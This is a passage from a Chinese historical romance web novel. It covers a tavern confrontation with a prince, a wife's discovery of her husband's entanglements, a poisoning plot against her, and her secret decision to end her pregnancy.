抬头见折柔面前的酒盏已空,忙出声劝阻:“阿嫂莫喝太急,等一会儿醉了,若是让阿兄知晓,怕是要凶我。” 冷不防听她提起陆谌,折柔倒是生出几分反骨,提起酒注又添了一盏,轻声道:“无妨,不必理会他。” 两人吃了些酒菜,折柔忽然想起烹霜的事,随口问道:“烹霜身子调理得如何了?算算日子,她这个月应当来过月事了罢?” 说起这个,陆琬神色微微有些异样,“阿嫂妙手,烹霜身上月事调理得极好。可惜那顾弘简是个不知好坏的,我好心给他添人,他却反倒因为这事,和我闹了几天的脾气,整日窝在书房里,差点没把自己气成一只大青蛙。” 折柔愣了一瞬,旋即笑起来,真心实意地劝道:“这是好事,郎君心中有你,才会介意,他这是醋了呢。” 陆琬喝得有些醉了,颊边泛起微红,她摇了摇头,轻声叹道:“他心中有何人,我才不在乎呢,只要不扰我和萱姐儿的好日子就成了。 阿嫂有所不知……当年伯父出了事,明知顾家上下都不喜欢我,到处风言风语,背地里等着看我笑话,我也只能咬着牙厚着脸嫁进去,郎君冷落、婆母不喜,连个女使都敢下我的脸面……如今我在府中立稳脚跟了,他顾弘简倒是生出求好的意思,可我最难的时候他不在,眼下再来同我卖好,谁又稀罕?” 说着,她笑了笑,托着脸颊看向折柔,“阿嫂,你不知呢,我是当真羡慕你的。 我与顾弘简,只是盲婚哑嫁的寻常夫妻,我在顾家,不过是寻一存身之所,聊以谋生罢了。可阿嫂同我不一样……你和我阿兄是真真的患难与共,两情相悦,在如今这世道上,能和郎君这般相守,多难得呀。” 折柔听得心中酸涩,好像连杯中酒水都失了滋味,只觉辣得人眼眶胀热。 两个人各揣心事,又推杯换盏了几回,折柔看着陆琬面颊渐渐红透,双眼迷朦,显见是快要醉实了,忙拦下她的酒盏,吩咐小婵去要两碗醒酒汤来。 小婵轻快地应了声是,匆匆退出酒阁,往楼下去了。 折柔等了一会儿,正牵袖夹菜,忽然听见一声惊呼,像极了小婵的声音。 心头一跳,她起身走到酒阁门口,就见小婵惶然地倒在楼梯拐角处,两只瓷碗在地上碎裂成几瓣,身前站着两个男子,一个矮的像是随从,旁边一个锦衣青年神色不善,胸前衣袍被醒酒汤打湿大片,洇成了深色。 “哪来的不长眼的贱婢!竟敢冲撞我们郎君!可知这一身缂丝杭绸值多少银钱,卖了你全家都赔不起!” 那矮个随从声音尖细,怒斥了几句,扬手就要朝小婵扇下去。 折柔心头咯噔一声,酒意登时散了大半,连忙几步走上前,将小婵护到身后,抬头对那青年笑道:“我家女使不慎冲撞冒犯,我替她赔罪,还请公子宽宏。不知公子这身衣裳价值几何,我照价赔偿,绝不推诿半分。” 小婵知道自己闯了祸,脸色发白,惶惶然扯了下折柔的衣袖,忍着泪意小声道:“娘子,我看路了,是他突然出……” “放肆!”她话未说完,就被那随从厉声喝断:“好个牙尖嘴利的贱婢,竟敢倒打一耙,攀污我家郎君!” 小婵登时被吓得一个激灵,折柔用力握住她的手,示意她不必怕。 这身衣裳虽然价贵,却也不算赔不起,眼见着对面身份尊贵,气势豪壮,她们只有几个女眷,没必要做无谓争执,认赔就是了。 说话间,那锦衣青年的目光极为直白地落在她脸上,放肆地上下打量,仿佛一条冰冷黏腻的毒蛇,看得她背上寒毛直竖,心头一阵发慌。 想着陆琬还醉在酒阁里,折柔本能地退开一些,不想多做纠缠,“公子这身衣裳需多少钱,稍后我送到潘楼账上,必定分文不少,公子遣人来取便是。” 既不问他家住何处,也不报自己家门,只交由潘楼处置,如此最少牵扯。 说完,她牵着小婵,掉头就走。 矮个随从瞧出自家主子的心思,自然不能轻易放人离开,当即抬手阻住她的去处,“我家郎君还未答允,娘子需得留步。” 这举动着实孟浪,折柔一时间又惊又怒,忙避开他的手,向后退开半步,眉心蹙起:“我已允诺赔偿,公子还待如何?” 锦衣青年目光盯着她,低哂了一声,缓缓道:“怎么,娘子瞧着,我像是缺钱的人?” 矮个随从适时地接话:“好叫娘子知晓,我们郎君正是当今三皇子。倘若继续不识礼数,岂不是不将我们三殿下放在眼里?” 折柔心下一惊,她知晓上京城勋贵遍地,却不想竟会撞上这样一尊大佛。 如此一来,她反倒不敢再贸然报出陆谌的名号,担心无意中得罪贵人会给他招祸,只能福身行了个礼,沉声道:“民妇无意冲撞贵人,望殿下宽宏,民妇的夫君还在阁中等着,恕不能久陪。” 话音将落,不待三皇子回答,旁边一间酒阁的直棂门突然被人推开。 一个酒盏兀地飞出来,直接砸中那矮个随从的后脑勺,他哎呦痛呼一声,捂着后脑转过头,张嘴就要大骂,却又在看清来人的瞬间噤了声。 廊下一声嗤笑,谢云舟懒懒倚在酒阁门口,下巴微扬,凉笑道:“外头这般热闹,我还当是何人,原是三哥管教不力,放任家奴欺侮良家女子。不就是一身缂丝袍子么?堂堂三皇子殿下,府上何时这般拮据了?改日去胥国公府上,我赔你个十件八件。” 三皇子李桢登时变了脸色。 谢云舟走过来,挡在折柔身前,冷冷看着那内侍随从:“九娘,这贼厮方才可有碰着你?” 大有一副只要她开口,他就废人手脚的意思。折柔心头一突,实在不愿生事,忙摇了摇头,低声劝道:“没事的。” 李桢倒是不以为意, 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思量片刻,李桢扬眉笑起来,“原来都是相熟之人,大家误会一场,倒也不必再多计较,我还要去更衣,你们自便罢。” 他转过脸,冷冷地看了随从一眼,带人离开。 见李桢下楼走远,折柔暗暗松了一口气,笑着看过去,“今日多谢你了,鸣岐。” “同我还客气什么。”谢云舟扬唇一笑,阁内烛光辉映,落在他眉眼间,越发英挺恣意,“你是自己一个人来的?” 折柔笑笑,“还有琬娘呢,她吃醉了,在酒阁里歇着。” 谢云舟点点头,看一眼折柔。 她今日吃多了酒,醉意微醺,颊边晕起绯红,几缕碎发掉下来,乳黄色的烛光杳杳跃动,仿佛在轻抚着她莹润的侧脸,缱绻温柔。 他忽然就有些嫉妒。 说不清是嫉妒那束烛光,还是嫉妒旁的什么人。 谢云舟喉结微滚,调开视线,嘱咐道:“我这三表哥一向阴鸷浪荡,过几日我要出京办差,你回去和陆秉言说一声,叫他小心些,多给你添些护卫。” 折柔唇角弯起,谢过他,带着小婵回了酒阁。 方才虽然生过一些波折,但知晓谢云舟今晚也在此处,折柔心下安定,回到酒阁里,重新要来一碗醒酒汤,让女使喂着陆琬用了,两人又闲说了一会儿话,顾弘简不知从何处得了信,匆匆赶来接人。 陆琬不放心折柔,踉跄着不愿走,将顾弘简往一旁推,“先送阿嫂回去。” 折柔笑了笑,自然不愿打扰他们夫妻相处,推说陆谌会来接她,让他们放心回去便是。 听她这样讲,陆琬便不多坚持,催着顾弘简去付了酒钱,同折柔告别后,夫妻二人一同回往郡伯府。 酒阁中安静下来,外面的喧闹声越发清晰。 入夜后的上京是说不尽的繁华绮丽,倚着栏杆向外看,长街上彩灯缤纷,人流往来,各色小贩佯佯而行,街巷上有孩童玩闹,也有年轻的相公娘子携手同游,满是烟火味道。 折柔垂眸看了一会儿,却愈发觉得孤独。 她低下头,一杯接一杯地吃酒。 不知过去多久,醉意渐渐上涌,她感觉眼前变得晕眩,身上微微发热,整个人昏昏欲睡,这才放下酒盏,倚靠着鹅颈椅闭目小憩。 小婵帮她披了件薄毯,出去问过卖要来一碗醒酒汤,正打算喂她喝下,抬头就见陆谌进来了。 实在是出乎意料,小婵吓一跳,结巴着唤了一声:“郎,郎君。” 陆谌点点头,接过她手里的醒酒汤,走到折柔身前,半蹲下来,伸手摸了摸她的脸颊,轻声唤:“妱妱。” 见她醉意不轻,陆谌心里极不是滋味,拧着眉,从后扶起折柔的身子,小心地圈在怀里,慢慢喂她喝了几口醒酒汤。 折柔脑中昏沉,隐约感觉到有人扶起自己,臂膀坚实有力,好像还和她说了什么话,可她朦胧得听不大懂,只以为是谢云舟过来帮忙,于是迷糊着笑笑,摆了摆手,“鸣岐,我没事。” 22-30 第22章 陆秉言,我疼啊 ——替她挡了一枪。 ——到那时,您是当真将嫂夫人送走,还是委屈她暂且做个妾? 温序口中毫无波澜的几句话仿佛一道道滚雷,在折柔头顶轰隆炸响。 他在说什么呢? 陆谌是为了旁的女子受的伤。 徐家一日不倒,他就一日还会和旁的女子有更多的数不清的牵扯。 慢慢地反应过来,折柔只觉心脏一阵剧痛,胸腔里的血四散地流。 原来无论怎样欺骗自己,她终究都还是难以忍受。 过去的那几日才是一场梦,醒了,就要面对这样难堪的事实。 陆谌若是继续和旁的女子有什么纠葛,她能说什么?她甚至连反对都不够理直气壮。 只因他有家仇要报,所以他身边的亲随都觉得不过如此,无伤大雅。 似乎不论说到何处,也都是占着大义的,倘若教旁人知晓了,大抵还要赞一句“义孝”。 那她呢?有谁想过,她要怎么办? 咬碎了牙咽下血,苦苦忍耐着,勉强自己要大度,宽慰自己郎君不曾变心,他只是有苦衷,等熬到仇家倾覆,他们夫妻还能好好过从前的日子。 是这样么? 可是,凭什么呢? 她也是活生生的人,会妒,会怨,会难过。 凡事有一就有二。 如今陆谌可以不顾忌她的感受,和徐家十六娘逢场作戏,那将来会不会再为了旁的什么,又舍弃她一回? 可怕的是,她突然想到,倘若有朝一日他当真这般做了,除了拼命忍受,她似乎再无任何办法。 她只是个孤女,没有高贵的身份,也没有富庶的家世,哪怕受了欺侮,也没有爹娘为她撑腰做主。 在这偌大的上京城里,除了陆谌,她什么都没有。 她舍不得他,舍不得年少相伴的情意。 可陆谌偏偏就舍得她。 折柔在阶下呆滞片刻,茫然地转身往外走,似乎也不知要走去哪里,只是有一个念头撑着,她要离开这里,一刻都不想再多待。 穿过幽长的甬道,明亮的日光一霎落下来,茫茫刺目,蜇得人眼眶酸热。 脑中浑浑噩噩,诸多念头杂乱缠绕成一团,折柔记不清自己是怎么走出的衙署、又是怎么登上的马车,她阖眼倚靠在车壁上,已经疲惫得再没有半分力气。 小婵被她惨白的脸色吓到,用力握紧了她的手,满脸惶急:“娘子,你怎么了?身子哪里不舒服么?娘子别怕,我这就去叫郎君过来!” 说着就要起身下车。 折柔本能地伸手扯住她衣袖,摇了摇头,低低地道:“我没事,只是折腾得有些累了,先回去再说。” 可瞧着她这副失魂落魄的模样,小婵如何能放心,紧张地看着折柔的脸色,不停追问:“娘子,你当真没事么?千万不要吓婢子!” 折柔点点头,咬牙掐了掐掌心,在心痛和茫然中逼自己分出一丝清明,振作起精神,好为今后的日子做打算。 陆谌这般行事,她是断断忍不了的。 她也不打算再忍。 这世上的许多人,都是只能共患难,不能同富贵的,夫妻尤是如此。 能有这样一场患难之交已是缘分,她也不必再奢求其他。 人心易变,与其等到相看两厌,不如及早抽身离开。 她的药铺在上京开得成,去别处也一样开得成,就算离开了陆谌,她也能养活自己,也能过安稳日子。 这些都算不上什么难事。 只是……孩子要怎么办? 想到这,折柔心中骤然一痛,抬手覆在自己的小腹上,再也压不住眼中涩意,泪水无声地滑落下来。 在这世上,早已没有真心待她的骨血至亲,只有腹中的孩子,这是与她血脉相连的牵绊,她舍不得。 那样珍贵,她期盼了许多年,才得来的孩子。 她唯一的血脉亲人。 留下吧,她一个人也可以养大它。 这个念头一生出来,折柔忽然感到无比庆幸,还不曾告诉陆谌自己有了身孕。 她若想离开,便绝不能惊动陆谌,孩子的事,更不能教他知晓,否则以陆谌那偏执强硬的脾性,只会带来数不清的牵扯和麻烦。 下定了决心,一切便都好办了。 回到府里,折柔稍歇了一会,起身后吩咐小婵去庖厨取些饭食来。 哪怕胃里一阵阵抽痛,什么都吃不下,她也要吃些东西,这样才有力气收拾。 虽然还没有想好要去哪里,也没有出城要用的过所凭由,她一时半刻还不能走成,但哪些东西要带走、有多少细软盘缠,她心中要先有个数。 小婵往庖厨走了一趟,问灶上婶子要来一碗清汤面,恰巧赶上春禾煎好了安胎药,正用屉布筛着,仔细地往瓷碗里倒。 小婵向她道了谢,取来食盒,将面条和药碗一道放进去装好,带回了东院。 折柔勉强用了小半碗的清汤面,放下碗筷时瞥见食盒的安胎药汤,顿觉胃里一阵抽搐,仿佛连半分都喝不下去。 可再一想想过些日子要离开上京,路上少不得奔波,胎像需得安稳些才好,于是咬牙逼着自己喝了半碗。 用过饭,身上恢复了些力气,折柔开始清点杂物。 她从洮州带来的东西不多,需要带走的就更少了,旁的可以先不管,首饰之类轻便值钱的要先点清楚。 小婵在一旁看着,起先还有些茫然,渐渐就被吓得发慌了,不知发生了何事,也不知明明是去庆贺郎君的生辰,怎么娘子出来后就变成了这副模样,甚至还清点起细软来了? 她惶惶然地看向折柔,快要哭出来了:“娘子……娘子这是要做什么呀?” 小婵心性单纯直爽,若是让她知晓些什么,只怕在陆谌面前藏不住端倪。 折柔抿了抿唇,并没有说实话,“没事,不过是和陆谌闹了些脾气,我想再回药铺住几日,看看带些什么。” 听说只是去药铺住几日,小婵松了一口气,“药铺那里一直有人收拾,娘子要过去的话,婢子提前去熏两遍香就成了。” 说着,忍不住又替折柔忿忿起来,“可郎君是怎么回事?他不知道娘子如今还怀着身孕么?怎么能惹娘子生气呢!他从前分明不是这样的!” 是啊,他从前不是这样的。 可是洮州的日子已经回不去了,不管怎么样,都回不去了。 折柔心下一阵酸涩,勉强地笑了笑,“不提他了。” 小婵咬了咬唇,也不再作声,闷闷地帮她归拢起杂物。 清点完钗环首饰,折柔稍稍松了一口气,正要伸手去拿账簿,小腹突然袭来一阵绞痛,像是被一只无形的手狠狠攥住翻搅,猝不及防,疼得她低呼一声,瞬间弯下腰去,蜷缩着身子,微微发起抖来。 小婵听见声响,心头猛地一跳,急忙回身去看,就见折柔弯伏在小榻上,身子不住发颤,脸色煞白,鬓边布满冷汗。 “娘子!” 小婵惊慌地扶起她,“娘子,你怎么了?” 折柔捂着小腹,疼得牙齿打颤,一时说不出话来。 她是医者,眼下这症状再熟悉不过,如无意外,必是方才的药里有问题,说不准混入了什么不利妊娠的东西。 折柔匀了两口气,让小婵去把方才剩下的那半碗安胎药拿来。 小婵闻声,匆匆起身把药碗端了过来。 折柔强忍着痛意,低头去嗅闻药汤的气味,隐隐约约地,似乎从中闻出一丝马钱子和麝香的味道,却又极微弱,让她辨不真切。 只是此刻也顾不上那么多了,趁着还未见红,先吃些安胎的丸药,总能冲淡几分药性,这个孩子还有救。 用过了药,折柔心中稍觉安定,撑着最后的气力吩咐小婵:“不要声张……叫平川差人看住春禾,留好药渣。” 小婵忙应了下来,扶着折柔在榻上躺好,抖开锦被给她盖上,匆匆跑到前院去寻平川,交待了自家娘子的吩咐,又让他赶快去寻郎君回来。 听闻是娘子出了事,平川心头一跳,丝毫不敢耽搁,立时从马厩扯了匹马出来,翻身而上,直奔禁军衙门驰去。 谁料,没过多久他便匆匆赶了回来,到廊下寻见小婵,急声道:“郎君不在值上!我另托人去寻南衡了,这厢先请了郎中过来,叫他给娘子瞧一瞧!” 折柔躺在榻上,神智昏昏沉沉,恍惚间听见了平川的话,愣怔一瞬,旋即又觉得自己可笑,明明已经决定离开,她还在期盼什么? 这个时辰,他大抵是在陪人游湖罢…… 他不知晓也好,她或许还能保全这个孩子。 ** 陆谌在王仲乾的漕船上探了一圈,正要再寻船工套套话,心头却毫无来由地一慌。 像极了那日在相国寺的情形。 这个念头一冒出来,陆谌后脊霎时窜上一股凉气,顿觉片刻都待不下去,借口想起值上有桩要紧事,扔下徐有容,匆匆下了船。 刚一走出渡口,就见南衡扯着马缰迎了上来,神色惶急:“郎君,家中出事了!” 陆谌心头猛地一沉,二话不说,直接翻身上马,喝道:“路上说!” 南衡紧随其后,也顾不得做什么铺垫,只飞快地禀道:“娘子已有身孕,用的药里被人添了东西,险些小产!” 消息来得猝不及防,陆谌脑中嗡地一声。 他咬紧了牙,“什么时候的事?” “大约小半个时辰前。” “可请太医了?” “是,属下一收到信,就先叫人拿郎君名帖去请了太医!” 陆谌点点头,一夹马腹,在街上疾驰。 转眼飞奔到陆府门前,陆谌一跃下了马,随手将马鞭扔给候在门口的平川。 平川捧着马鞭,小跑着跟上去,捡着最要紧的先说了,“郎君莫急,娘子已经用过药了,腹中的小郎君也没事。” 陆谌咬了咬牙,顾不上理会他,脚下片刻未停,奔到东院,直冲进正房。 小婵正守在榻前,忙起身唤了声郎君。 听见声响,折柔眉心动了下,慢慢睁开眼,看向陆谌,轻声道:“你回来啦?” 语气和平常一样。 陆谌张了张嘴,却发觉自己说不出话来,只能点点头,颤着手抚上她小腹,喉结滚了几滚,方才艰涩道:“妱妱,还疼不疼?” 他的掌心宽而温热,覆在那处,温度隔着衣料透过来,丝丝熨贴。 折柔眼前一瞬蓄起了水雾,她死死地咬住唇瓣,想要压下喉咙里哽咽的声响。 她没有自己想象得那般坚强,看到他的脸还是忍不住委屈,忍不住想流泪。 她想说,疼啊,陆秉言,我疼啊。 疼得她都快要喘不过气来。 可她什么都没说,只是隔着朦胧的一层雾气,安静地看着陆谌,眼泪无声无息地流下来。 陆谌一瞬心如刀绞,伸手擦去她颊边的泪珠,哑声道:“别怕,妱妱……太医来诊过脉了,它没事,嗯?” 折柔眼睫微颤,低低嗯了一声,半晌,轻轻地道:“我有些饿了,你去小厨房,叫人备一碗阿胶蛋羹吧。” 看着她憔悴的神色,陆谌心里一阵拧痛,点了点头,起身便要去唤人。 “等一等,”折柔叫住他,淡淡道:“妆奁柜子下,左数第三层的小格,有我制好的成药。贴着红纸的那瓶是补气血的,你替我拿来。” 知道她通晓医术,听闻有补血益气的药,陆谌动作一顿,立时转身去柜子里寻来,拿给她看:“妱妱,可是这个?” 折柔看一眼瓶身的贴纸,苍白着脸,冲陆谌笑了笑,看着他起身出去,悄悄将瓷瓶收入掌心,攥紧。 这些都是她昨日刚刚做好的成药,已经分包好了,还没来得及送到药铺里。 只不过,这并非是什么补血益气的良药。 恰恰相反,药里有红花,麝香,桃仁,益母草,用来通经活血,效用最好。 陆谌既已知晓,那这个孩子,无论如何,都不能再留了。 第23章 他们一家三口,再圆满不…… 夜色将至,天穹浮起几颗疏星。 陆谌走出堂屋,将小婵唤出来,眸光冷沉。 “仔细与我说清楚,今晚到底是怎的一回事,一个字也不许漏。” 小婵早已憋了一晚的不忿,自家娘子受了这么大的委屈,必是要讨个公道的,听他问起,当即说道:“娘子原本好好的,用过安胎药一个多时辰便发作了,娘子特意吩咐婢子要收好药渣,想必是有人脏了心烂了肺,往娘子的药里添了东西!” 说着,她特意昂起头,咬重了音节道:“娘子还怀着郎君的骨肉,郎君可千万要为娘子做主才是。” 虽说煎药的丫鬟是春禾,但春禾平白无故的,干嘛要对娘子下手?她都不用想,也不用找什么证据,这府里会暗中谋害娘子的,除了松春院的,哪里还会有旁人? 可那毕竟是郎君的生母,她只怕郎君重重拿起轻轻放下,让娘子白白受了这场委屈。 她想想就替娘子不值,背井离乡地,千里迢迢来到上京,才短短两个月,受了郑氏多少委屈啊,甚至郑氏还变本加厉,竟干起了下药这样卑劣的勾当,不论说到哪里,都没有这样糟践人的道理! 听她说完,陆谌的神色越发阴沉,转头看向平川:“请来的太医呢?在何处?” 平川忙应了一声,回手比道:“在前院厢房,写药方子呢。” 陆谌下颌绷紧,抬脚便走。 到了前院,推门入内,吴医正就坐在桌后,正提笔斟酌着药方,见陆谌过来,忙放下手中小毫,起身见礼。 “有劳先生。”陆谌叉手还了一礼,问道:“不知内子现下情形如何?可有大碍?” 吴医正答道:“上将军不必担忧,夫人虽有滑胎之像,但尚有转圜余地,已经及时服过药,眼下暂且不算凶险。” “是她喝下的那碗药有问题?” 吴医正点了点头,比手与陆谌看桌上油纸包中的残余药渣,“下官方才仔细分辨了药渣和药汤,虽然未能翻找出不对劲的药材,但闻着气味,这药里应当是添了不利妊娠的马钱子,此物药性颇为凶险,万幸添的分量不算多,夫人也未足量服用,倘若将来一段时日悉心加以调理,夫人腹中孩儿多半还可保得住。” 这些翰林侍奉的医官说话向来留有余地,他既说多半可以保住,那便有八成把握。 陆谌心下微松,又问起要紧之处:“若是用药保胎,对母体可有妨碍?” 吴医正倒是笑了笑,“这个上将军尽管放心,保胎所用都是温补之物,只会对夫人身体有所调养,不会有任何妨碍。” 陆谌这才放下心来,略一颔首,嘱托道:“一切有劳先生,需要用些什么药,先生只管开口,不必有所顾虑,哪怕府上没有,我也自去旁处寻来。” 吴医正闻听此言,犹豫片刻后,掂量着措辞道:“调理所用的药材倒不算稀罕,只不过……若是能确切知晓这药里都添了些什么,下官对症施药,缓和药性……效用至少还能再添两成。” 这等事必然涉及后宅阴私,要想查清势必会闹出些动静,随意提出来只怕会得罪人,是以他说得格外犹豫。 陆谌自然明白他的顾虑,当即痛快应了,唤来南衡,沉声吩咐道:“点上得力的护卫,给我把松春院围起来,差使的人一个都不许放出去,再将春禾提到前院,好生审问,一有消息,立即回来报我。” 南衡神色一肃,领命去了。 一切交待清楚,见时辰差不多,陆谌去厨房取来阿胶蛋羹,回来喂着折柔用下,安顿她躺好,抬手掖了掖被角。 屋中一片安静,烛火杳杳,在她脸上笼出一层柔柔的暖光。 陆谌坐在榻边,垂眸望向折柔恬淡清婉的睡颜。 今晚初闻变故,他只有满心的惊怒焦躁,此刻知晓她平安无虞,紧绷的心神终于微微放松了些,将为人父的喜悦后知后觉地隐约蔓延出来。 他忍不住伸出手,慢慢放到她的小腹上,想摸一下,却又不敢乱动,便只轻轻地覆在上面。 这里是他和妱妱的孩子。 只是这样一想,心中便生出一种难以言说的奇异感觉。 从前他身在洮州,那地方僻远苦寒,再加上他还不知自己前路如何,也做不得好父亲,便一直小心着,不曾和妱妱要个孩子。 不成想,刚刚回到上京,它便来了。 陆谌不自觉地低下头,勾唇笑了笑。 不愧是他和妱妱的孩儿,果然灵慧懂事。 陆谌眼眸低垂,长指抚了抚折柔的脸颊,忽然就有些意动,忍不住开始想象他们的孩子会是什么模样。 细说起来,不论是儿子还是女儿,他都很欢喜。 最好还是女儿,想来会生得像她,有一双盈盈脉脉的若水明眸。 他会做一个很好的父亲,教她读书写字,教她骑马拉弓,给她捏泥叫叫、编竹蛐蛐,把她放在自己的脖颈上,带她们母女俩去瓦子里看百戏。 想想那样的日子,他们一家三口,再圆满不过。 第24章 陆秉言,我们不会再有孩…… 过了约两炷香的功夫,南衡折身回来复命,站在廊下,低低唤了一声郎君。 陆谌听见动静,伸手摸了摸折柔的脸颊,放下床前帷幔,起身走出去。 “都问清楚了?” 南衡答了声是,“煎药的那小丫鬟胆子甚是怯懦,稍微吓唬两句便尽数交待了,属下反复问讯比对过几遭,并无分毫差错矛盾之处。据春禾供称,那药只经过她和崔嬷嬷两人的手,崔嬷嬷曾在煎药时揭开药盖向里看过,春禾一时未敢阻止。 属下又问过门上小厮,近两日曾见崔嬷嬷外出府门,却并未采买何物,只是行色匆匆。此外还有一桩可疑之处,崔嬷嬷和娘家素来关系亲近,然而数日之前,她娘家嫂嫂突然来了咱们府上,还同她在角门处哭喊争执。” 回禀完,南衡便闭嘴低下了头,他追随陆谌多年,自然清楚郎君有多看重娘子。 从前夫人对待娘子虽有嫌隙,却不曾使过下药这般阴私毒辣的手段,如今这么一出,甚至险些害到子嗣上头,倘若当真与夫人有关,那实是闹得过火了。 陆谌咬紧下颌,闭目深吸一口气,寒声道:“即刻点人,去将那贱妇的娘家兄嫂给我带来,细审!” 言罢,他转身大步走出院门。 南衡忙应一声是,按住腰刀,抬步匆匆跟了上去。 听见陆谌急沉的脚步声已经走远,院中重又陷入一片安静,折柔慢慢睁开眼,轻吐出一口气,拿出药瓶来。 四下里静悄悄的,晚风拂过廊下的石榴树,枝叶婆娑,沙沙作响。 头顶的承尘绣着瓜瓞绵绵如意纹,是她来到上京后新添置的。 院中的秋千上置了竹棚,前些日子她试过了,坐上去消闲看书很是惬意。 这院子里的花草家具,一样一样都是她亲手安置的,到处都是她和陆谌生活过的气息,那时初到上京,她以为这里就是她的家,她会是这里的女主人,从今往后再也不必漂泊。 可终究只是镜花水月梦一场。 折柔终是狠了狠心,一鼓作气地拔掉瓶塞,取出药丸,仰颈吞了下去。 制药时为了更易凝结做团,她在药丸中掺了些槐树蜜,本应是微甜回甘的味道,可入口只觉无比苦涩,苦得人眼泪直流。 陆秉言…… 小腹上仿佛还残留着他掌心的温度,又从暖热变成滚烫,灼得她浑身剧痛,恨不能紧紧蜷缩成一团。 但就算再疼,她也不允许自己软弱。 她此生决意不走回头路,也不要再和陆谌有一丝一毫的牵扯。 ** 松春院里,郑兰璧正在小佛堂里做晚课,想到今日是三郎的生辰,又多念了两遍心经,为他祈福平安。 崔嬷嬷垂手侍候在一旁,竖耳听着院外的动静,眼皮突突直跳,如芒刺背,心里说不出的忐忑难安。 临近傍晚的时候,她隐约听见东院那边传出些动静,又见平川从外头请了郎中回来,当即心头大震。 自打上回夫人教导宁氏惹得郎君发怒后,她们两院之间便隔了护卫,除去共用的一个庖厨,两下里压根碰不上面,是以她虽心急,却也不能知悉东院到底有没有出事。 她拿不准那丸药的效用,也不知剂量是否加得多了。 可她也实是别无他法。 虽然还有夫人的吩咐在先,可夫人终究是郎君的生母,即便出了天大的事,郎君也绝不可能提刀打杀母亲,但她就难说了,倘若宁氏当真有个什么好歹,她必要跟着遭殃。 见郑兰璧终于念完晚课,崔嬷嬷忙上前搀扶她起身,抬眼向上瞧了瞧脸色,试探着道:“夫人,东院那边有些动静,老奴听着似乎有些不对……” 郑兰璧看她一眼,“何事?” 崔嬷嬷犹豫半晌,吞吐道:“听说是身上闹了不好,急着催人请郎中过府,老奴只怕是那药……” 郑兰璧蹙了蹙眉,正要说话,忽听砰一声巨响,院门猛地被人从外踹开,闻声抬头,就见陆谌疾步走进院来,身后一列凶悍护卫随之一涌而入。 崔嬷嬷一见这架势,全身的寒毛都炸立了起来,双腿阵阵发软。 陆谌一言不发,只冷冷地看了她一眼,身后的两个护卫径直扑身上前,一把按住崔嬷嬷,反剪住双手就要往外拖行。 “你们做什么?放开我!”崔嬷嬷心头大惊,挣扎着奋力向后躲避,却被护卫们铁钳般的大手死死扣住关节,痛得她哀呼出声,“夫人,夫人!” 郑兰璧眉心一拧,淡淡看向陆谌:“不必难为阿菊,她是听我吩咐给宁氏下的避子凉药。我问过郎中,此药没有旁的妨碍,宁氏若是想要拿乔作妖,也闹不到这上头。” 额角青筋急跳,陆谌眼下没有心思和她分辩太多,眸色冷沉:“药在何处?” 郑兰璧抿紧了唇,不作回应。 陆谌彻底失了耐性,猛地抽出护卫腰间佩刀,反手抵上崔嬷嬷喉间,目光好似在看一个死人。 “我再问一遍,药在何处?” 崔嬷嬷犹豫地看了眼郑兰璧。 陆谌手腕一翻,刀身寒芒凛冽,映出一双锋锐杀戾的眉眼。 喉间骤然刺痛,感觉到温热的血液流淌下来,崔嬷嬷惊得魂飞天外,失声尖叫起来。 陆谌盯着郑兰璧,淡淡开口:“阿娘莫要逼我。” 郑兰璧与他对峙片刻,终是败下阵来,闭了闭眼,示意女使回屋去将药取来。 陆谌拿了药,冷冷看了崔嬷嬷一眼,“来人,给我将这贱妇捆了,押到东院去。” 言罢,他脚下片刻未停,径直去寻吴医正。 正房的堂屋里,吴医正用银镊拨开药丸,低头细嗅了嗅,神色顿时一变。 他抬头看向陆谌,正色道:“这并非寻常凉药,而是掺了丹砂、马钱子和少许麝香的绝子药。此药的阴毒之处在于,若是寻常女子用了,看着只是月事不调,淋漓不尽,倘若不以为意,等连用上一两个月,只怕便再也生不得子嗣了。 说来倒是幸亏夫人有孕,受不得药性冲撞,这才急着发作起来,否则……不堪设想。” 说完他便低下头,眼观鼻鼻观心,不再多做言语。 四下里一霎死寂,空气仿佛也凝固住了。 陆谌神色阴冷至极,良久,一字一句地下令,“去将崔氏那个贱妇提到院中来,问清楚,这药究竟是从何处得来。” 他清楚至极,他母亲虽为人刻薄,但绝不会下这等阴损之物,崔氏背后,必定另有人指使。 院中很快响起沉闷的杖声,间或夹杂着痛呼和惨叫。 郑兰璧很快赶来,意图阻止,却在陆谌冷戾的眼神中止了声。 眼见崔嬷嬷已被打得面如金纸,郑兰璧终于忍耐不住,发威怒叫一声:“够了!你如今真是出息了,竟都要当着我的面直接打杀我的陪嫁么?就算是下了避子药又如何? 我也全是为了你!若非那日徐相夫人登门,有意敲打,我又怎会闲着插手你的子嗣?还不是为了让你能娶得贵女!” 陆谌愣怔一瞬,回过神来,神色一点一点变得阴寒。 未及说话,前院南衡传来消息,说是崔氏的兄嫂已经招认,他们的独子在乾元坊赌输了八百贯,被扣在赌坊里断了一根手指,有人拿着断指寻上门去,要崔嬷嬷听话从事,否则便绝了他崔家的后。 能与陆家有干系,又想挑拨暗害于她的,哪里还会有旁人? 再不必多言,这背后到底是谁插手暗害,已然明了。 屋子里,服下的药已经生了效用,折柔躺在榻上,身上一阵冷一阵热,小腹隐隐坠痛,恍惚着,也听清了院中纷杂的争执,心头的怨怒一点一点滋生出来,指尖死死攥紧了身下的被衾。 原来,她留不下这个孩子,也是因为徐家。 真是好恶毒的算计。 凭什么?她就要由着他们这般糟践么? 她原想不要惊动陆谌,以便日后悄无声息地离开。 可如今,听着这些阴私算计,她忽然不想再暗自隐瞒,生生压下这口气去。 折柔咬了咬牙,唤了声小婵,让她去院中叫陆谌过来。 小婵惶惶应是,走到廊下,急急唤了声郎君,“娘子有事寻您。” 陆谌闻言微怔,没有来由地,心头陡然生出一阵极不安的预感,当即猛地转身,拔步冲回了正房。 榻前空无一人,只有柔软的帷幔轻轻拂动,隐约似有细碎声响,掀开床帐,折柔正蜷缩在被衾里,身子不住地发抖,脸唇皆白,鬓边沁出一层密密的冷汗。 陆谌心一紧,立时察觉出不对,下意识伸手探入她的被衾,指尖忽而触到一片湿热黏腻。 这个触感,他再熟悉不过。 “妱妱!” 心头猛地一沉,陆谌一把扯开锦被,只见折柔身下鲜血淋漓,大团大团殷红湿润的血迹在葱青色的百迭裙上层层晕染开,血腥气直冲鼻间。 脑中嗡一声炸响,陆谌猛地上前将她抱入怀中,朝外厉声唤人,“去请吴医正过来!快!” 南衡心一惊,忙去前院寻太医。 